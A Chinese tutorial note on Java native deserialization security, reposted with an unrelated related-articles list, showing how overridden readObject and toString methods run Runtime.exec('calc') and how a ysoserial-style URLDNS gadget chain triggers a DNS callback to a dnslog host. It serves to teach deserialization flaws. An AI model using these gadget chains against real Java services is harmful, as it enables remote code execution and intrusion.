Day35:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

目录

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

思维导图


Java知识点:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-原生使用-序列化&反序列化

序列化与反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

为什么有序列化技术?

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。

几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法

反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式

序列化实现,创建用户类,并实现 Serializable接口
package com.example;import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {// 公共成员变量public String name = "xiaodi";public String gender = "man";public Integer age = 30;// 构造方法public UserDemo(String name, String gender, Integer age) {this.name = name;this.gender = gender;this.age = age;System.out.println(name);System.out.println(gender);}// toString 方法,用于打印对象信息public String toString() {// 返回对象信息的字符串表示return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}
}

创建对应的序列化类,并创建对应的序列化方法:SerializableDemo.java

// 指定包名
package com.example;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;// 序列化演示类
public class SerializableDemo {public static void main(String[] args) throws IOException {// 创建一个用户对象,引用UserDemoUserDemo u = new UserDemo("xdsec", "gay1", 30);// 调用方法进行序列化SerializableTest(u);// ser.txt 就是对象u序列化的字节流数据}// 序列化方法public static void SerializableTest(Object obj) throws IOException {// 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txtObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));// 将对象 obj 进行序列化,并将序列化后的数据写入到文件输出流中。oos.writeObject(obj);// 关闭流oos.close();}
}

ser.txt的内容:

创建对应反序列化类,并创建对应反序列化方法:UnserializableDemo.java
package com.example;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;// 反序列化演示类
public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {// 调用下面的方法,传输 ser.txt,解析还原反序列化Object obj = UnserializableTest("ser.txt");// 对 obj 对象进行输出,默认调用原始对象的 toString 方法System.out.println(obj);}// 反序列化方法public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {// 读取 Filename 文件进行反序列化还原ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));// 通过 ois.readObject() 方法从文件输入流中读取一个对象,并将其赋值给变量 o。Object o = ois.readObject();// 返回反序列化后的对象return o;}
}

Java-安全问题-重写方法&触发方法

toString  //输出调用toString方法

User u = new User("xdsec","man",30);

System.out.println(u);

serializeTest(u);

unserializeTest("ser.txt");

readObject //序列化后被重写readObject调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

//指向正确defaultReadObject

        ois.defaultReadObject();

Runtime.getRuntime().exec("calc");

}

重写方法:原理:readObject  序列化后被重写 readObject 调用

修改UserDemo.java

package com.example;import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {// 公共成员变量public String name = "xiaodi";public String gender = "man";public Integer age = 30;// 构造方法public UserDemo(String name, String gender, Integer age) {this.name = name;this.gender = gender;this.age = age;System.out.println(name);System.out.println(gender);}// toString 方法,用于打印对象信息public String toString() {// 返回对象信息的字符串表示return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{// 指向正确的defaultReadObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}}

运行 SerializableDemo.java 生成新的 ser.txt 后,运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。

这是因为在进行反序列化操作过程中,如下方法调用了 readObject 方法,但由于我们在 UserDemo.java 重写了该方法,所以导致此处执行的 readObject 不是原本默认的 readObject,而是我们自定义的 readObject,其中 ois.defaultReadObject() 使其指向正确的 readObject 从而使程序可以正常运行,又可以执行我们的代码

提一嘴,迪总说这个实战中基本遇不到,因为没人会这么干

触发方法:原理:toString  输出打印对象时调用 toString 方法

修改UserDemo.java

package com.example;//import java.io.Serializable;
//import java.io.IOException;
//import java.io.ObjectInputStream;
//用户信息类,实现了 Serializable 接口
//public class UserDemo implements Serializable {
//
//    // 公共成员变量
//    public String name = "xiaodi";
//    public String gender = "man";
//    public Integer age = 30;
//
//    // 构造方法
//    public UserDemo(String name, String gender, Integer age) {
//        this.name = name;
//        this.gender = gender;
//        this.age = age;
//        System.out.println(name);
//        System.out.println(gender);
//    }
//
//    // toString 方法,用于打印对象信息
//    public String toString() {
//
//        // 返回对象信息的字符串表示
//        return "User{" +
//                "name='" + name + '\'' +
//                ", gender='" + gender + '\'' +
//                ", age=" + age +
//                '}';
//    }
//}import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {// 公共成员变量public String name = "xiaodi";public String gender = "man";public Integer age = 30;// 构造方法public UserDemo(String name, String gender, Integer age) {this.name = name;this.gender = gender;this.age = age;System.out.println(name);System.out.println(gender);}// toString 方法,用于打印对象信息public String toString() {try {Runtime.getRuntime().exec("calc");}catch (IOException e) {throw new RuntimeException(e);}// 返回对象信息的字符串表示return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}}

这里没有运行 SerializableDemo.java 生成新的 ser.txt,我前面一直以为 ser.txt 里面保存的是那个对象类,需要每次新生成,写的新代码才会生效。结果这里直接运行反序列化,新写的代码也可以生效,有点纳闷。

直接运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。这是由于当对一个对象进行打印输出时,会默认自动调用它的 toString 方法,而我们这里在 toString 加入了我们要运行的代码,所以当反序列化时下面代码运行打印输出时,我们的代码就会成功执行。

Java-安全问题-可控其他类重写方法

参考:https :// github . com / frohoff / ysoserial / blob / master / src / main / java / ysoserial / payloads / URLDNS . java

UrLDns.java

package com.example;import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class UrLDns implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException {//正常代码中 创建对象HashMap//用到原生态readObject方法去反序列化数据//readObject 在ObjectInputSteam 本来在这里//HashMap也有readObject方法//反序列化readObject方法调用 HashMap里面的readObject//执行链://序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞HashMap<URL,Integer> hash = new HashMap<>();URL u=new URL("http://0tzp6g.dnslog.cn");hash.put(u,1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}}

正常代码中 创建对象HashMap

用到原生态readObject方法去反序列化数据
readObject 在ObjectInputSteam 本来在这里
HashMap也有readObject方法

反序列化readObject方法调用 HashMap里面的readObject
执行链:
序列化对象hash 来源于自带类HashMap
 *   Gadget Chain:
        *   HashMap.readObject()
        *       HashMap.putVal()
        *         HashMap.hash()
        *           URL.hashCode()
hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738137.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pandas plot函数:数据可视化的快捷通道

一般来说&#xff0c;我们先用pandas分析数据&#xff0c;然后用matplotlib之类的可视化库来显示分析结果。而pandas库中有一个强大的工具--plot函数&#xff0c;可以使数据可视化变得简单而高效。 1. plot 函数简介 plot函数是pandas中用于数据可视化的一个重要工具&#xff0…

凌鲨本地接口架构

本地API通过监听本地端口&#xff0c;提供http服务&#xff0c;让本地应用可以获取信息和操作凌鲨客户端。 本地API架构 #mermaid-svg-seodZa6VsI4Qc8Cj {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-seodZa6VsI4…

辽宁博学优晨教育:视频剪辑培训的安全正规之路

在当今数字化时代&#xff0c;视频剪辑已成为一项炙手可热的技能。为满足广大学习者的需求&#xff0c;辽宁博学优晨教育推出了一系列专业的视频剪辑培训课程。本文将重点介绍辽宁博学优晨教育的视频剪辑培训如何在保障学员安全和学习效果方面做出了卓越的努力。 一、正规资质&…

Linux操作系统-06-进程与服务管理

使用ps命令查看进程。包括过滤进程信息 使用systemctl命令管理和运行Linux服务 进程&#xff08;Process&#xff09;&#xff1a;操作系统正在运行的应用程序。任意一个进程&#xff0c;都会消耗CPU和内存资源&#xff0c; 服务&#xff08;Service&#xff09;&#xff1a…

Word中解决插入脚注导致的分页位置错误问题

先放一个截图&#xff1a; 上面的截图中&#xff0c;样式为标题3的段落“四、固执的念头”前插入了连续型分节符&#xff0c;并且该分节符的样式为正文&#xff0c;前后的正文段落中有脚注&#xff0c;结果在分页时&#xff0c;标题3段落“四、固执的念头”后的正文段落自动进入…

【JAVA】我和“JAVA“的细水长流,输入输出

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法|MySQL| ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-Ck59fYFNNdpuGmVT {font-family:"trebuchet ms",verdana,arial,sans-serif;f…

JVM-3

HotSpot虚拟机对象 我在网上看了很多相关的文章&#xff0c;发现在创建对象和对象的结构中内容都不太一样&#xff0c;一些关键字也很不同&#xff0c;于是我通过参考《深入理解Java虚拟机》这本书&#xff0c;自己总结了一篇。 1.对象的创建 当JVM收到一条创建对象的字节码…

全面的 DevSecOps 指南:有效保护 CI/CD 管道的关键注意事项

数字化转型时代带来了对更快、更高效、更安全的软件开发流程的需求。DevSecOps&#xff1a;一种将安全实践集成到 DevOps 流程中的理念&#xff0c;旨在将安全性嵌入到开发生命周期的每个阶段 - 从代码编写到生产中的应用程序部署。DevSecOps 的结合可以带来许多好处&#xff0…

交叉编译x264 zlib ffmpeg以及OpenCV等 以及解决交叉编译OpenCV时ffmpeg始终为NO的问题

文章目录 环境编译流程nasm编译x264编译zlib编译libJPEG编译libPNG编译libtiff编译 FFmpeg编译OpenCV编译问题1解决方案 问题2解决方案 总结 环境 系统&#xff1a;Ubutu 18.04交叉编译链&#xff1a;gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu 我的路径/opt/toolch…

Java零基础入门-Comparable vs Comparator(上)

哈喽&#xff0c;各位小伙伴们好&#xff0c;我是喵手。 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流学习&#xff0c;互相学习&#xff0c;才能成长的更快&#xff0c;对吧。 我是一名java开发&#xff0c;所以日常接触到最多…

System是什么?为什么不能直接输出null?

在看学习下面的知识前&#xff0c;得先对java核心类库有个大致的了解&#xff0c;详情可参考链接 java基本概念-扩展点-CSDN博客 1、System 1.1 System是什么&#xff1f; System是一个类&#xff0c;它包含了一些有用的属性和方法。 1.2 System实现的功能 &#xff08;1&…

【深度学习】换脸新科技,InstantID: Zero-shot Identity-Preserving Generation in Seconds

论文&#xff1a;https://arxiv.org/abs/2401.07519 代码:https://github.com/InstantID/InstantID demo&#xff1a;https://huggingface.co/spaces/InstantX/InstantID 文章目录 1 引言2 相关工作2.1 文本到图像扩散模型2.2 主题驱动的图像生成2.3 保持ID的图像生成 3 方法3.…

zabbix5监控tomcat

zabbix tomcat客户端配置 1、配置tomcat catalina.sh文件 CATALINA_OPTS"$CATALINA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port12345 -Dcom.sun.management.jmxremote.authenticatefalse -Dcom.sun.management.jmxremote.sslfalse -Djav…

smart-doc 社区 Committer 晋升公告

我们非常荣幸地宣布&#xff0c;经过 PMC 委员会的提名和讨论&#xff0c;社区成员李星志&#xff08;GitHub ID: netdied&#xff09;、陈琪&#xff08;GitHub ID: chenqi146&#xff09;和李兵&#xff08;GitHub ID: abing22333&#xff09;正式晋升为同程旅行 smart-doc 开…

Vue3全家桶 - Vue3 - 【3】模板语法(指令+修饰符 + v-model语法糖)

一、模板语法 主要还是记录一些指令的使用和vue2的区别&#xff1b;vue3指令导航&#xff1b; 1.1 v-text 和 v-html 指令的区别&#xff1a; v-text&#xff1a; 更新元素的文本内容&#xff1b;v-text 通过设置元素的 textContent 属性来工作&#xff0c;因此它将覆盖元素…

数据结构:静态链表(编程技巧)

链表的元素用数组存储&#xff0c; 用数组的下标模拟指针。 一、理解 如果有些程序设计语言没有指针类型&#xff0c;如何实现链表&#xff1f; 在使用指针类型实现链表时&#xff0c;我们很容易就可以直接在内存中新建一块地址用于创建下一个结点&#xff0c;在逻辑上&#x…

3、设计模式之工厂模式

工厂模式是什么&#xff1f;     工厂模式是一种创建者模式&#xff0c;用于封装和管理对象的创建&#xff0c;屏蔽了大量的创建细节&#xff0c;根据抽象程度不同&#xff0c;主要分为简单工厂模式、工厂方法模式以及抽象工厂模式。 简单工厂模式 看一个具体的需求 看一个…

面向对象(精髓)变继承关系为组和关系(_Decorator模式)

在软件开发中&#xff0c;设计模式是解决常见问题的可重用解决方案。在面向对象编程中&#xff0c;继承和组合是两种常用的代码复用方式。然而&#xff0c;随着软件需求的不断变化&#xff0c;我们需要更灵活的设计方式来应对不断变化的需求。在本文中&#xff0c;我们将讨论从…

计算机网络——TCP/IP网络层次模型

计算机网络——TCP/IP网络层次模型 TCP/IP网络模型的起源TCP/IP网络层次的结构TCP/IP如何交互 TCP/IP协议栈TCP/IP协议栈主要协议 TCP/IP 和 OSI之间的区别面向连接和无连接面向连接三次握手&#xff0c;四次挥手 无连接 我们上一次了解了OSI的网络层次模型&#xff0c;如果还没…

Linux学习-内存管理

目录 内存管理 malloc free 使用 字符串存储申请堆区 自主输入个数&#xff0c;然后通过malloc在程序中申请空间&#xff0c;不用必须提前指定大小 内存溢出 内存泄漏 内存碎片 内存管理 函数名就是指向该函数的函数指针。 堆区是自低向高&#xff0c;栈区是自高向低…